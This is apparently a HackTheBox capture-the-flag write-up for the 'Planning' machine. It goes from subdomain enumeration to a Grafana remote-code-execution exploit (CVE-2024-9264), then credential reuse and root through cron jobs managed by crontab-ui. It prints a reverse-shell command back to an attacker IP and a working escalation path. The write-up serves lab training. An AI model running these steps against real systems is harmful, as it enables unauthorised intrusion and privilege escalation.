HackTheBox — Planning
A full walkthrough of a penetration test on the Planning machine from HackTheBox: from reconnaissance to privilege escalation, via an RCE on Grafana.
🔍 Reconnaissance
We start with an aggressive Nmap scan (acceptable here — it's a lab):
nmap -A 10.10.11.68
Two open ports: 22 (SSH, OpenSSH 9.6p1) and 80 (nginx 1.24.0). The site is served through a virtual host, so we add the entry to our hosts file:
echo "10.10.11.68 planning.htb" | sudo tee -a /etc/hosts
The site is an online-courses platform. Directory enumeration with gobuster reveals nothing hidden:
gobuster dir -u http://planning.htb -w /usr/share/wordlists/dirb/common.txt -x php
We switch to subdomain enumeration, which surfaces an interesting vhost:
gobuster vhost -t 100 -u planning.htb -w dnslist.txt --append-domain
# Found: grafana.planning.htb Status: 302 [--> /login]
💉 Exploitation — Grafana
The vhost hosts Grafana 11.0.0, vulnerable to CVE-2024-9264 (RCE via SQL expressions). With a public PoC and the provided credentials, we open a listener then trigger the reverse shell:
nc -lvp 8888
python poc.py --url http://grafana.planning.htb \
--username admin --password <provided> \
--reverse-ip 10.10.14.42 --reverse-port 8888
⚠️ Always read and understand an exploit pulled from the internet before running it.
The shell comes back as root… but inside a Grafana container. The env command leaks a username / password pair:
GF_SECURITY_ADMIN_USER=enzo
GF_SECURITY_ADMIN_PASSWORD=<password>
Since port 22 is open on the host, we try that pair over SSH — and it works. First flag in ~/user.txt.
🔑 Privilege escalation
We're now on the host that serves the site. An editable crontab file reveals a password:
cat /opt/crontabs/crontab.db
# ... "command": ... zip -P <password> ...
netstat -l shows services listening only on localhost, including one on port 8000. We set up an SSH tunnel to reach it:
ssh -L 8000:localhost:8000 enzo@10.10.11.68
Behind it: crontab-ui, a web interface to manage cron jobs. The credentials found earlier grant admin access. Since these crons run as root, creating a new task lets us run a privileged command and read the root flag.
Takeaways
- Subdomains often hide the real attack surface — don't stop at directory enumeration.
- A "root" container is not the host: environment variables regularly leak secrets reusable elsewhere.
- Cron jobs running as root and admin interfaces bound to localhost are a classic privilege-escalation path.
Note: the box's real secrets are intentionally masked here.